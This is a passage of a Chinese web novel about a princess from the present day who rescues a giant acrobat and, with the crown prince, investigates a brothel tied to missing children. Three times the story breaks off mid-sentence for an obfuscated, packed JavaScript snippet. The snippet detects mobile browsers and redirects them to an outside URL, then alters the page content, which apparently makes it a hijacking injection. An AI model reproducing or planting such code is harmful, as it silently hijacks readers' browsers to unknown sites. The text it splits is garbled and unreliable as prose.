她抬眼盯着班主,那班主心虚地往后退了两步,连忙道:“药效不过十二个时辰!你一天不吃就会恢复正常了!” 青枝听到这里,怒不可遏,厉声喝道:“你这畜生——!” 推官怒斥道:“衙门重地,不得大呼小叫!” 叶斯年连忙搂住青枝,低声安抚道:“冷静些,已经报官了,这些事交给官府处理就好。” 推官微微蹙眉,转向叶斯年道:“郡主,此人之罪我们会详加查证。依规矩,您可暂且回府,明日府尹将亲自审理此案,届时再请郡主详述案情。” 赵煜微微颔首,随即说道:“多谢大人,郡主的眼伤需要休息,明日我们会准时到场。”他目光沉沉地扫过班主一眼。 叶斯年也不再多言,一行人离开了瑶安府。 更夫刚打过二更。叶斯年伸了个懒腰,心里暗自感慨:大闹了一通,居然才亥时(九点)。放在以前,这个点她还在公司加班敲代码,顺便在滴滴上排队叫车呢。 赵煜看她这副慵懒的模样,已经懒得同她多说,转头吩咐青枝道:“带郡主回去,我已经安排太医到府上候着了。” 叶斯年摆摆手,随口道:“不用那么麻烦,我回去滴点眼药水……”话没说完,她突然意识到哪有什么眼药水,便抿着嘴,露出一个略显尴尬的笑容。 赵煜见状,长叹一声,无奈道:“知道自己身处何地了吧?别再这么莽了。”他朝青枝示意,说道:“快把她带走。” “是——”青枝立即领命。 叶斯年朝女巨人招了招手:“走吧,回家。”女巨人微微一愣,默默地跟在他们身后。 突然,叶斯年像是想起什么,快步小跑回来,压低声音对赵煜道:“明早升堂你不准出现!晚上八点老地方见!” 赵煜无奈地闭上眼,重重叹了口气,挥挥手道:“赶紧走赶紧走!” “我刚刚是双押了吗?” “……” 12. 星光之下 夜色已深,赵煜的侍卫护送叶斯年三人到达叶府后,便转身离去。赵煜远远地站在巷口望着,轻轻叹道:“真是来了个祖宗。”心中暗想,这位郡主竟妄图将花月阁引出来,他盯了几年都无从下手。 他转身对身旁的侍卫低声吩咐道:“卫珩,命人盯紧花月阁,查清它和这个戏班子有什么勾当!” “是!”卫珩应声而退,待其他侍卫赶到后,便迅速隐入夜色之中。 与此同时,叶府前厅,周氏带着太医候着,瑾年和兰芝也在一旁等候。众人看到叶斯年身后跟着一个高大的女巨人,皆不禁瞠目结舌,那巨人的头几乎要碰到房梁了。然而,很快大家的视线便落在叶斯年的双眼上。 周氏急忙迎上前,焦急地说:“快快,先回内院!这是怎么弄的?到底出了什么事?” 叶斯年眼中刺痛难忍,方才走路时才强撑着睁开双眼。此刻她再也顾不得其他,紧闭双眼,伸手抓住周氏的手臂,任由她搀扶着自己回房。她厉声说道:“被那贼人撒了一把花椒粉!” 瑾年瞥了一眼女巨人,又看看叶斯年,半晌没敢出声,贴近青枝,小声问:“出什么事啦?” 青枝笑了笑,低声回道:“郡主大闹仙乐坊,把人抢回来了。” 瑾年又转头打量了一下女巨人,礼貌地露出一个略带尴尬的微笑,随即凑到青枝耳边抱怨道:“你们怎么不带上我啊!” 青枝一边笑,一边摇头躲开,脚步快了几分。 瑾年朝女巨人招了招手,示意她弯下腰,轻声说道:“青枝不听话,你别学她。以后有这种事你记得叫我。”话音刚落,她便朝内院小跑而去。 女巨人愣愣地挠了挠头,不知所措地站在原地,显得有些局促。青枝回头朝她招手:“你快过来呀。” 叶斯年的房间里,兰芝端来一盆温水,动作急切。从前厅回到内院的路上,太医便已吩咐她准备妥当。此时,太医取出药包,倒入些许黄连和菊花,又取出一瓶药粉细细撒入水中,轻轻搅拌,药香渐渐散开,带来一丝清凉。 太医轻声吩咐道:“此水带有清热解毒之效,郡主可先以温水轻轻洗净双眼。”他继续嘱咐道,“菊花和黄连能消肿止痛,请将温水浸湿纱布后,替郡主轻敷片刻。” 青枝立刻照做,用浸湿的纱布轻轻擦拭叶斯年的眼部。叶斯年感到眼睛还有些刺痛,于是闭上眼睛,让药水在眼皮周围慢慢渗透,带来一丝缓和的凉意。 接着,太医又从药箱中取出一包药粉,倒在碗中,用温水调成糊状。他将纱布蘸上药糊,仔细地敷在叶斯年的眼部,低声说道:“此药性寒,清热消炎,待敷药片刻后可缓解肿痛。郡主需静心闭目,勿揉眼睛,待药效发作。” 叶斯年微微点头,安静地闭目养神。太医继续道:“若夜间仍有刺痛,可煎些黄连和菊花,将药汤置于面前以熏蒸药气,但切勿让热气过浓,稍微熏一会儿即可。” 青枝点头称是。太医最后看了叶斯年一眼,轻声叮嘱道:“一切需缓慢调理,莫要操之过急。” 太医取出药材,调配了一包清热解毒的药粉交给青枝,叮嘱道:“此药粉每日温水调配一次,浸湿纱布轻敷在郡主眼部,连续用上几日,便可彻底消肿止痛。” 青枝点头,将药粉小心收好。太医继续叮嘱:“切记每次用温水调配,不可太凉或太烫。另外,郡主眼部刚受刺激,忌辛辣食物,也要避免用手揉搓。” “天色已晚,郡主好生修养,属下先告退了。” 周氏急忙道:“这么晚了,实在辛苦林太医了。” 太医微微拱手,谦和地说道:“太子殿下有命,属下理当尽心。” 周氏闻言微微一愣,林太医意识到自己失言,连忙拱手告退。 叶斯年说道:“天色已晚,姨娘和瑾年早些歇下吧,我也要休息了,今日大家都辛苦了。” 周氏点头应道:“好,那你早点歇着。”又嘱咐青枝道:“你今晚辛苦些,好生照顾郡主。”随即拉着瑾年往外走去。 周氏离开后,叶斯年对青枝说道:“你先安顿好她,有什么事等我明早起来再说。” 青枝点头道:“好,那您闭目养神,有事喊我。” 叶斯年轻轻“嗯”了一声,摆摆手。这一天真是累得筋疲力尽。她第一次跟人动手,还是冷兵器交锋,幸好还算平安。她闭上眼,感受着眼部传来的丝丝凉意,疲倦渐渐袭来,不多时便沉沉睡去…… 夜色微凉,小院里一片寂静,微弱的烛光映出女巨人庞大的身影,几乎笼罩住半个小院。她低垂着头,庞大的身躯在这狭小的院落里显得格外突兀,像是一座小山挡在院中。她环顾四周,目光有些无措,手足间流露出一丝拘谨。 青枝走出屋,看到她站在院子里,不禁微微一笑。她低声问道:“怎么不坐下?” 女巨人愣了一下,略带窘迫地说道:“怕……怕把东西坐坏了。” 青枝一怔,忍不住笑出了声,随即温声道:“石凳子哪儿还能坐坏了。”青枝随手指了指一边的石凳。 女巨人犹豫着走过去,慢慢坐下,小心翼翼地放下身子,果真听不到任何动静。她长舒了一口气。 青枝站在她身旁,尽管女巨人坐着,身形仍几乎与青枝齐高。青枝轻声说道:“郡主受了点伤,但太医看过了,说没大碍。她正在休息,你不用担心。” 女巨人微微点头,垂下眼帘,看着自己粗大的双手,声音沙哑而自责:“都怪我……我当时急着想跑出去,该留下来帮郡主的……” 青枝上前一步,温柔地安慰道:“这不是你的错,伤郡主的是那个班主。我们只想先把你带出来,稳妥些。” 女巨人缓缓抬起头,好奇地望向天空,星光倒映在她那双硕大的眼眸中,闪烁着微弱的光芒。 静谧的夜色中,青枝注视着她。她第一次如此清楚地看见这个高大的女人:粗犷的面容轮廓,微微突出的颧骨,厚实的骨骼带着生存的痕迹,乱糟糟的头发垂落在肩头,显得有些凌乱。可在这一切粗粝之下,却有一双意外柔软的大眼睛,清澈而透亮,盛满了夜色与星光。 青枝抬头望向夜空。几颗星子稀稀疏疏地悬在绒绒的天幕上,微弱的烛光映照在两人脸上。夜风轻拂,梧桐沙沙作响,宛如儿时的摇篮曲,轻柔地催人入眠。 半晌后青枝轻咳了一声说到:“先给你找个住处歇下,明日再说。” 大沅皇城,东宫。 赵煜刚回到东宫,皇后那边便派人送来一碗安神汤。随行的宫人恭敬地传话道:“皇后娘娘得知殿下近日奔波操劳,特意命人送来安神汤,叮嘱殿下务必保重身体。” 赵煜接过安神汤,微微皱眉,未加细看便仰头喝尽,随即将碗放回托盘中,冷冷地转身入内。跳动的烛光中他的怒意若隐若现。宫人小心翼翼地低头退下。 今日的动静太大,从仙乐坊一路闹到瑶安府,皇后不可能不知情。赵煜心知她一直派人盯着自己,本打算避过她的耳目悄悄见叶斯年一面,未曾料到她竟直接莽了。 本该趁乱将叶斯年带走,可看她当时那模样,自己竟也有些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“怎么一急又把这事儿给忘了……”赵煜微皱着眉,思索片刻,随即说道:“你先回住所,我走密道过去,再从你那儿去瑶安府。天亮后你趁人多再出去,找人把信送到,告诉郡主让她这几天都别出门。估计她会不耐烦,一旦出了叶府,多留意她的动静。” “另外,查查这个班主的底细,把戏班的成员也都查一遍,尤其是那个大个子!” “是。”卫珩领命,转身离开。 赵煜掀开箱子盖子,钻进狭窄的密道。这密道是他和卫珩几年前在皇后盯得最紧的时候亲手挖的,空间极小,非必要几乎不用。如今他个子长高许多,在密道里不得不跪爬前行,姿势颇为狼狈。 出了密道,卫珩已备好侍卫的衣物。天色微亮,赵煜换上侍卫服,戴上斗篷,悄然出了皇城。 两年前,大沅各地的育婴堂陆续报上来孩童失踪的案件,失踪的几乎都是相貌姣好的孩子,男女都有。赵煜意识到事态严重,立即调查了各地的风月场所,最终线索指向花月阁,却屡次遇到极大阻力。 有几个孩子曾在瑶川下游被人发现,尸体遍体鳞伤,惨不忍睹。近几年,赵煜一直暗中盯着花月阁,可每次深入调查,派出的人不是重伤归来,便是有去无回。 一个走南闯北的杂技班班主,竟然和花月阁扯上关系,还在官府中被灭口了。这么复杂的情况,那个女人居然还嚷嚷着钓出花月阁?赵煜想到她那莽撞的劲头,忍不住笑了出来,策马在晨曦的薄雾中朝瑶安府疾驰而去。 13. 她的决定 浮云散尽,清朗无尘,正是秋日该有的好光景。叶斯年早早起床,感觉眼睛舒适了不少。昨夜折腾了一番,回来便沉沉睡去,今天醒来,竟生出泡个热水澡的念头。 青枝直接端来一大盆黄连和菊花煎制的水。叶斯年见状愣住了:“太医不是说只熏眼睛吗?用得着这么大一盆?” 青枝淡定地说道:“您边泡澡边熏不就更舒服了?我来给您调一下药粉。” 说着,她仔细调好药粉,用纱布蘸上,轻轻敷在叶斯年的眼睛上。叶斯年闭上眼,感到一丝清凉沁入眼眶,许久未有的舒适感缓缓蔓延开来。 难得轻松一些,她在前几日周氏送来的几件新衣里,挑了一件浅杏色的褙子,衣料轻薄柔软,宽松的衣襟自然垂下,边缘绣有精致的卷云纹样,隐隐泛出柔和的光泽,褙子的下摆直垂至膝,随着步伐微微摇曳。搭配了一件淡青色的对襟长襦,领口和袖口处精巧地绣着细腻的花纹,袖口微敞,露出纤细的手腕。下身是一条同色系的长裙,三裥自然垂落至脚踝。 她将发丝在脑后挽成一个松松的髻,用丝带轻轻束起,几缕细长的流苏垂下,随风微微摇曳。余下的青丝自然披散,柔顺地垂落在肩头。 院子里青枝忙着量尺寸,边量边说道:“郡主,这位的衣服怕是得做一身了。府里的男丁衣物都不够她穿的。” 叶斯年站在阳光里打量着眼前的巨人,柔声道:“这次算是你自己跑出来的,卖身契什么的不用放在心上。其实那天说让你当我的护卫,也只是权宜之计。你可以想想,有没有什么想去的地方。” 花梧脸上浮现一丝决然,毫不犹豫地说道:“我愿意!非常愿意!” 叶斯年轻轻笑问:“那你叫什么名字?我们总得有个称呼吧。” 女巨人微微一愣,低声道:“我……没有名字。” 叶斯年心中微微一动,想起班主信中提到的“阿秀”,或许她不愿再用这个名字了。她便温声道:“那你想叫什么?” 女巨人不好意思地笑了笑:“我不识字,不知道该叫什么。” “那你听过什么好听的名字?”叶斯年问。 女巨人挠了挠头,不自在地说:“我觉得‘青枝’就挺好听的……” 叶斯年轻轻念道:“叶青枝,确实好听。”她随即摇了摇头,正色道:“不过你不能姓叶,不然以后大沅又多一个叶将军,不可不可。” 青枝听罢愣了愣。叶斯年却一本正经:“怎么没有?女子也能持剑上阵。你就姓花吧!”她望了望院中的梧桐树,淡淡地说道,“‘高梧百尺夜苍苍’,你就叫花梧吧。” 青枝眼前一亮,笑道:“‘花梧’!好听耶,我喜欢!” 花梧抿唇一笑:“我也喜欢。” 叶斯年拍了拍她的肩,玩笑道:“那好,以后你就是我们的花将军了。” 花梧不好意思地摆手:“郡主,您别取笑我了……” 青枝却格外欣喜,一直念叨着:“阿梧,以后就叫你阿梧!” 叶斯年翘着腿,摆出一副“江湖高人”的架势,抬手压了压虚空,故意用低沉的声音说道:“那好吧,阿梧,请说出你的故事!” 青枝忍不住扑哧一笑,边摆手边说道:“郡主,您可别逗了!您这话跟那些走街串巷收故事的说书人一样,太逗了!” 叶斯年眨了眨眼,脸上露出一副自得的表情:“以后咱们就是同舟共济的伙伴了,可不得对其一下颗粒度。” 花梧挠了挠头,皱眉说道:“颗粒……度?郡主,您是说我们以后要数粮食的颗粒吗?” 青枝掩嘴笑了笑,随即摆摆手:“郡主的意思估计是——以后咱们都是一家人了,要知根知底。她的话吧,听着新鲜,你学会意会就行。” 叶斯年瞥了青枝一眼,装作没听见,语气淡淡地说道:“别理她,说你的故事吧。” 花梧非常认真地思考了一下,最后整了整衣襟,缓缓开口:“我家是边境小镇的农户,家里穷得要命。” 她顿了顿,似乎觉得这个开头太普通,语气里多了一丝调侃:“小时候长得高,力气大,很小的时候就帮家里干农活。干得多,饭量也大,一顿要吃五碗米饭。娘嫌我吃得多,给我吃烂根的红薯,爹几次想把我送去当长工,但我年龄太小没人要。” 叶斯年托着腮,眉梢微微挑了挑:“所以就把你卖了?” 花梧耸了耸肩,抬头看向院中的梧桐树。那树虽挺拔,却也不过比她高上一些。清晨的一缕缕光穿透稀疏的叶片,在她粗糙皮肤上雕刻出梧桐的枝干。她站在光影中,像是扎根在深深的泥土里,沿着光的骨骼,缓缓生长出血与肉。 叶斯年看着眼前如此鲜活的花梧,脑海中不禁浮现在仙乐坊初见的女巨人——那双空洞麻木的眼睛,仿佛一片毫无生机的荒野,笼罩着绝望与疲惫的阴霾。而如今,她站在阳光下,如草木疯长。 她忽然觉得,或许自己和太子一样中二的念头,并非笑话。至少景和年间的大沅朝多了一位如梧桐般坚韧的女性,而这棵梧桐,也许将迎来属于大沅的凤凰。 花梧站在光里,舒服地眯起眼睛,声音低低地缓缓说道:“八岁那年,村里来了个杂技班,说是要买孩子去练童功。” 她顿了顿,嘴角微微扬起一抹若有似无的笑意:“那天,我娘给了我一整块没有烂掉的红薯,说,‘你去了,就不用再跟家里抢饭吃了,还能吃饱穿暖。’” 秋风打散她脸上的阴影,将她脸上的笑容吹的摇摇晃晃,看不清她的情绪。她抬起头,咧嘴笑了笑,语气里带着点自嘲:“其实也确实有得吃,只是天天练功,吃的是冷饭,睡的是破席子,饿得头晕眼花的日子多了去了。不过,总归活下来了。” 花梧继续说道:“十年了,今年我十八。杂技班里的人大都没留住命,经常有小孩死了或者跑了,我倒算是熬过来了,练得皮糙肉厚,力气也更大。我当然也想跑,可是班主骗我说给我吃了毒药,每天不吃解药就会死……我当时还真信了,毕竟每天都有段时间觉得脑子迷迷糊糊的。” 她顿了顿,语气轻了些,像是说给自己听:“其实,现在想想也没什么好怨的,总比饿死在家里强。人总是要活下去的,不是吗?班主也是想活下去吧。爹娘和兄弟姐妹也是。” “其实,我也不明白,为什么都这样了还想活着。”花梧低着头,语气平静得像在说别人的事,眼神有些飘远。 “那天我跟着青枝出去,其实就是想着,死了就死了吧,没什么意思。”她顿了顿,嘴角勾起一抹淡淡的笑,却看不出喜悲,“但出去以后,又想活着了。” 青枝忍不住转过头去,红了眼圈,却不敢出声。叶斯年静静地注视着她,开口问:“那你想回家看看?” 叶斯年低垂着目光。她知道,没那么容易就能放下原生家庭的。那些家人一次次苛待她,她不也是一次次怀抱着连自己都无法理解的希望。那是挣脱不掉的枷锁,是要削骨剔肉才能切断的牵绊。 花梧愣了一下,随即摇了摇头:“回去干 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14698874|156999||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 啥?我早就不是他们家的女儿了。他们孩子多,怕是早忘了有我这个人了吧。”她顿了顿,眼里划过一丝笑意,“不过现在跟着郡主,倒是头一回觉得,活着还能图点别的,不只是吃饱。” 叶斯年听到这话,忽然觉得,花梧也许比她自己意识到的还要强大。她不仅拥有野心,更有着难以忽视的生命力,那种从泥泞中挣扎而出的顽强。 可是,眼下她能帮花梧什么呢?叶斯年回想着自己的能力,只学过一点搏击和攀岩,真要说能教的,无非是一些简单的近身搏击技巧,以及如何保护关节。 花梧的力气是天生的优势,但这么高大的身形本身也是一种负担,稍不注意反而容易受伤。这些年在杂技班的表演估计已经使得她的关节磨损严重了。 眼下最好的办法,还是把花梧送到叶家的军营去训练。在那里,有专业的教头和军规制度,可以让她真正成为一名强大的战士。而自己最多再教她一些基础的技巧,帮她迈出第一步。 随即,叶斯年便说道:“我会跟将军说一声,让你先去军营里熟悉一下,跟着训练训练。不过可别小瞧了,军营的训练说不定比戏班子的还要辛苦呢。” 青枝一听,眼睛顿时亮了起来,仿佛她的瞳孔里已经映出了花梧身披甲胄、威风凛凛的模样。 花梧则挠了挠头,咧嘴一笑:“听郡主安排。” 叶斯年看了看青枝,语气少了几分先前的随意,认真说道:“青枝,眼下没有别人,我就直说了。我会跟将军提一声,让你跟着叶家的姓。以后万一我出了什么事,你要能独当一面。花梧已经有了方向,你也要想清楚接下来要做什么。去浮生堂学一学,或者其他什么事,总得有个长远的打算。” 青枝闻言,微微一愣,随即低声说道:“那……我不能一直跟着郡主吗?” 叶斯年轻轻一笑,语气里多了几分温柔:“正是希望我们能一直在一起,才不能让你只跟着我。青枝,你得成长起来,这样将来无论要面对什么,我们都不会散。” 一旁的花梧比青枝明白得更快,插嘴道:“我觉得郡主的意思是希望你能做更多的事。我也想着能为郡主分担更多,而不是只能使用蛮力。” 青枝抬起头,认真地看着叶斯年,点了点头:“青枝明白。我会好好想想的。” 三人正聊得起劲,就见府中侍从送来一只铜盆,盆里满满是相同的信件,随侍说道:“郡主,方才这信突然出现在府内四处。” 叶斯年看也不看便知是谁的手笔,忍住没翻白眼,心想这太子前身难不成是霍格沃滋的猫头鹰,哪有这么送信的。每封信上都写着“郡主亲启”,还上了封蜡。 “太子传话,班主已死,嘱郡主勿去茶楼,近日别出门。” 叶斯年只觉得脑子嗡的一声。人才进去几个时辰,这就死了?说好的早晨升堂呢,这天才刚刚亮,府尹都没上班!难不成是畏罪自杀?可看班主那副样子,倒也不像啊。 她的眉心拧得更紧,目光落在那一整盆的信上,心中疑云密布。难道是太子担心怀疑她气不过,干脆亲自结果了班主?她什么能耐太子难道不知道?就算是被杀也不可能是她杀的。 可如果班主真是被杀的,那这件事背后恐怕藏着更大的阴谋。她心中微微一震,隐约觉得,这一切或许并非巧合——既然已经牵涉其中,哪能任人牵着鼻子走?总得发挥主管能动性才能掌握主动权啊! 叶斯年将信递给青枝,淡淡说道:“青枝,把信都烧了,随我出趟门。” 14. 郡主亲启 青枝朝花梧说道:“班主死了。” 听到这话,花梧眼神中闪过一丝慌张:“我昨天什么都没做……” 叶斯年刚要安抚她,便见瑾年气势汹汹地带着两个护卫,架着一个人走了过来。 “阿姐,就是这个人,刚才就在府外丢信!我爬到墙头看得一清二楚!” “你还爬墙?没摔着吧?”叶斯年好笑地问。 “我……”瑾年正要辩解,却听那人不紧不慢地说道:“她没事,摔我身上了。”随后那人行礼道,“属下卫珩,参见郡主。奉太子之命,务必将信送到。” 叶斯年依稀记得昨晚确实是这个人站在赵煜身边。瑾年听到“太子”二字,脸色瞬间变得苍白,腿一软差点跌倒,叶斯年连忙伸手扶住她,语气急切地问道:“太子让你这样送信的?” 卫珩面无表情地点头:“太子吩咐,务必送到。属下敲了门,府上无人应。” 叶斯年无奈地叹道:“罢了,府里这几日搬迁,人手本就少。你来都来了,青枝留下吧,我跟他一起出去。” 青枝一听,立刻想阻拦:“郡主,太子说……” 叶斯年笑着朝卫珩说道:“卫珩是吧?你不懂,太子不让我出去,是担心我的安全。我出去,是为了太子的安危,明白吗?” 卫珩稍微低下头,算是默认。 叶斯年转头对青枝道:“你陪花梧多做几身合适的衣裳,先教她识字。一起出去人太多,容易引人注目。” 见青枝一脸不放心,叶斯年笑了笑,安抚道:“这可是太子的侍卫,放心吧,没问题的。” 瑾年小声地凑近,拉了拉她的衣袖:“阿姐,不带我一起吗?” “我们可是要见太子哦……” 瑾年瞬间缩回手,不再作声。叶斯年看她那怯怯的模样,忍不住问道:“你这么怕他干什么?殿下有那么可怕吗?” 瑾年偷偷瞄了一眼卫珩,又迅速低下头。卫珩自觉地转身。 瑾年犹豫了一下,声音轻得几乎听不见:“太子殿下手段凶残,而且从不怜香惜玉。” “什么意思?”叶斯年语气里透着几分不以为然,就他? 瑾年捏紧了手中的帕子,咬牙说道:“听说东宫的侍女……都被赶了出去。有些……还受了重伤。” “为什么?”叶斯年的眉心微微一跳。 “谁知道呢……”瑾年咬着唇,压低声音,“只说是殿下下的命令。有人说是因为……因为太子殿下不近女色,惹得他不高兴,受伤了也没人敢管。”她顿了顿,眼中浮现出一抹惊惧,“所以,阿姐千万别和东宫的人扯上关系,惹了太子……真的会死得很惨。” 卫珩咳了一声,显然听得一清二楚。叶斯年低声嗤笑,拍拍瑾年肩膀安慰道:“放心,阿姐心里有数。” “走吧。”叶斯年朝卫珩点头道。 “是。”卫珩恭敬地回应,跟随叶斯年而去。 两人并肩走出叶府,叶斯年边走边问道:“我这么出门,你会不会不好交代?” 卫珩淡然道:“殿下猜到郡主会出门的。” 叶斯年心下了然,这个卫珩看来是赵煜极为信任的人了。她顺势问道:“那殿下现在在哪儿?” “一早去了瑶安府。” “好,”叶斯年略一沉吟,忽然道,“那我们不去瑶安府,去仙乐坊。” 卫珩微微一怔,显出些许诧异,随即跟上叶斯年的步伐。叶斯年一边走一边低声解释道:“若班主是被人杀的,现在该由仵作进行尸检,还未有结果。若是自杀,殿下已经在瑶安府了,我们直接从戏班子查起。” “是。”卫珩应了一声,带路时不时放慢或加快步伐,穿街过巷,时而停顿观察,时而迅速前行。一路绕行,平日不过几刻钟的路程竟走了小半个时辰。 卫珩解释道:“路上有几个盯梢的人,需避开。” 叶斯年暗自感叹赵煜手下果然不简单,但随即生疑:为什么会有人盯着她?如果是瑶安府怀疑她与班主的死有关,直接上门就行了,这些暗中盯梢的又是什么人? 带着疑惑,她与卫珩一路小心来到杂技班所在的勾栏。看样子这里已是人去楼空,杂技班的人作鸟兽散。被花梧砸坏的勾栏如今残破不堪,几名仙乐坊的伙计正撬着留在场上的磨盘。 卫珩示意叶斯年绕开,他们从连廊绕入后院,穿过小院进入后台。两人分头仔细搜查了一遍,几乎什么线索都没找到,只有一个沉重的磨盘静静地躺在地上。 叶斯年回想起那天的情景,心里一动,低声道:“那天花梧搬上去的,明明是两个磨盘,怎么今天这里就一个?” 她思忖片刻,看向卫珩:“你搬得动吗?” 卫珩瞪大了眼,显然不可能。叶斯年看着那磨盘,微微笑了笑:“稍微抬一点就行。” 卫珩俯下身,双手用力,但那物件却纹丝不动。叶斯年看在眼里,不由得感叹:花梧要是去了军营,绝对能大展身手。 正当两人盯着磨盘,面面相觑时,忽然听到一阵轻微的动静。卫珩立刻抽出剑,护在叶斯年身侧,目光警惕地扫向声音传来的方向。片刻后,一个高挑的身影手脚并用,从小梯上灵活地爬了上来——正是赵煜。 他见到叶斯年,眉梢微扬,忍不住失笑:“我就知道你不会安分,手脚还挺快啊。” 叶斯年挑眉反驳:“哪有你快?四条腿果然跑得稳。” 赵煜被怼得一时语塞,脸上的笑容僵了一瞬,随即目光落在叶斯年的眼角。他稍稍俯身前倾,认真盯了几秒。叶斯年不习惯与人靠得太近,身子不由得向后微微一仰。 “别动,眼睛怎么样了?”赵煜语气少有地正经。 叶斯年伸出一根手指,轻轻推开他的肩膀,语气淡然:“承蒙太子殿下关怀,早就好了。” “遵医嘱,你这眼角还有点红。” 赵煜顺着叶斯年的目光望过去,只见卫珩默默收起剑,弯下身继续尝试搬动磨盘。 “你干什么呢?” 卫珩语气平静:“郡主说,抬起磨盘看看。” “人是怎么死的?自杀还是他杀?”叶斯年不打算理会赵煜的疑惑。 赵煜走近几步,低声道:“自杀,没留下任何遗言。” 叶斯年点头:“我就是以自杀为前提来这里调查的,这里能找的地方都找了,就剩磨盘底下没看了。还愣着干嘛,赶紧帮忙!” 赵煜扬眉,指了指自己:“你说我?” “是啊,卫珩一个人搬不动。你俩抬起磨盘,我瞅一眼。” “找根杠杆撬一下啊,你什么学历啊……”赵煜疑惑。 叶斯年翻了个白眼:“你倒是找一个出来看看。杂技班的人早就跑了,值钱的东西全搬空了,能留下这磨盘是因为搬不动。” “这东西谁都搬不动吧?”赵煜皱眉。 “搬不动难道还推不倒?昨晚台上可是少了一个。就剩这个地方没查了,赶紧的,少废话!” 赵煜无奈地与卫珩对视一眼,从彼此的目光中确认,这事儿没得商量。随即,两人各自站定位置,赵煜在左,卫珩在右,默契地俯下身去。卫珩率先稳住磨盘边缘,手臂绷紧,肌肉线条隐隐浮现,咬紧牙关,将全身的力量集中在双臂间,动作稳而有力。 赵煜显然缺乏这种体力训练,他低声抱怨了一句:“真不知道你为什么非得掀这个……”说归说,却也只能卷起袖子,将手插入磨盘另一边,准备发力。 两人一左一右,双手用力抬起,脚下同时发力,竟不约而同地压低了重心。赵煜额上渗出细密的汗珠,显然并不轻松,却硬是咬牙撑着。地板终于发出轻微的“嘎吱”声,磨盘缓缓离地,露出一条不足半尺的缝隙。 “快!”赵煜低声喊了一句,声音里带着一丝憋闷的喘息。 叶斯年早已蹲下,紧盯着缝隙探头向里看去。光线昏暗,但她隐约看到缝隙里有什么在反光,像是一张被折起的信笺。 “撑住!”她急促地说道,一边伸手进去摸索。 赵煜立刻压低声音提醒:“快点!我万一失手,你这手就没了。卫珩,千万稳住啊!” 叶斯年翻了个白眼,手已经快而稳地抽出一封 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14698875|156999||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 信,上书“郡主亲启”。 她眨了眨眼,自嘲道:“今天这一天,收了上百封信有吧。” “还有谁?” “你啊。” 卫珩轻咳一声,低声提醒道:“动静有点大,殿下,我们该走了,免得被仙乐坊的人发现。” 三人迅速从后门钻了出去,一路畅通无阻,顺利得让人心生疑窦。叶斯年看着静悄悄的小巷,脑海里却浮现出一连串的疑问——怎么会这么容易?班主既然能留下信件再自杀,说明背后一定有人。可这人为什么还没派人搜查杂技班?难道他还不知道班主死了,还是另有其他目的? 出了仙乐坊,赵煜看了叶斯年一眼,语气里带着几分无奈:“我就知道你按耐不住。” 卫珩低下头,沉声说道:“属下失职。” 叶斯年轻轻晃了晃手里的信,语气笃定:“这事儿我管定了。” 卫珩和赵煜同时瞪大了眼睛。 “你知道这里面的门道有多深吗?你就敢说管?”赵煜皱眉,语气里透着压抑的火气。 叶斯年扬了扬眉,语气从容:“那你倒是说啊。这信可是给我的,又不是给你的。” 赵煜闻言,长长地叹了一口气,神色骤然冷了下来。他天生一张棱角分明的脸,不苟言笑时,更显得锋利凌厉,活脱脱是传闻中那位冷酷无情的太子。 这几天,他已经被这位郡主气得好几次险些气血上头。他一把拉住叶斯年的胳膊,拽着她往旁边的巷子里走:“跟我走。” 此处停着一匹马,赵煜目光一转,吩咐道:“卫珩,去找辆马车,这位郡主不会骑马。” 卫珩应声离开,身影很快消失在巷口。只剩两人四目相对,气氛微微凝滞。 “放手。” 赵煜冷哼一声,撒开了手,目光却依旧紧锁在她身上,语气低沉:“这件事我跟了几年都没机会下手,你别参与。” 叶斯年闻言,心里也发怵。她低头看了看手里的信,犹豫了一瞬,正准备拆开。 赵煜一把按住她的手,眉头紧锁:“一会儿找个空旷的地方再拆,这东西说不定有毒。” 叶斯年顿时吓得一缩手,迅速把信塞到他手里,强作镇定地说道:“那就有劳太子殿下了。” 不多时,卫珩驾着一辆马车疾驰而来。叶斯年一愣,瞪大了眼睛:“这么快?你是穿墙过去的吗?” 卫珩神色如常,语气淡定:“算是吧,我从屋顶上跑过去的。” 叶斯年一时语塞,半晌才嘀咕了一句:“这光天化日的,也不怕被人发现……” 赵煜却懒得理她,直接道:“上车。”随即也不等她多说,吩咐卫珩:“随便绕一圈,去城郊找个空旷地方。” 叶斯年闻言顿时紧张起来,急道:“你这是干嘛?放我下去!” 赵煜却长腿一伸,横在车厢内,把她直接按回了座位,语气冷淡却透着警告:“现在知道怕了?你真以为花月阁是寻常风月场所?他们要是想动手,我连你埋在哪儿都找不到!” 叶斯年一个从法治社会过来的人,虽然知道古代的权贵阶层有各种法外特权,可在这方面的弦始终崩得不够紧,总觉得有些难以接受。 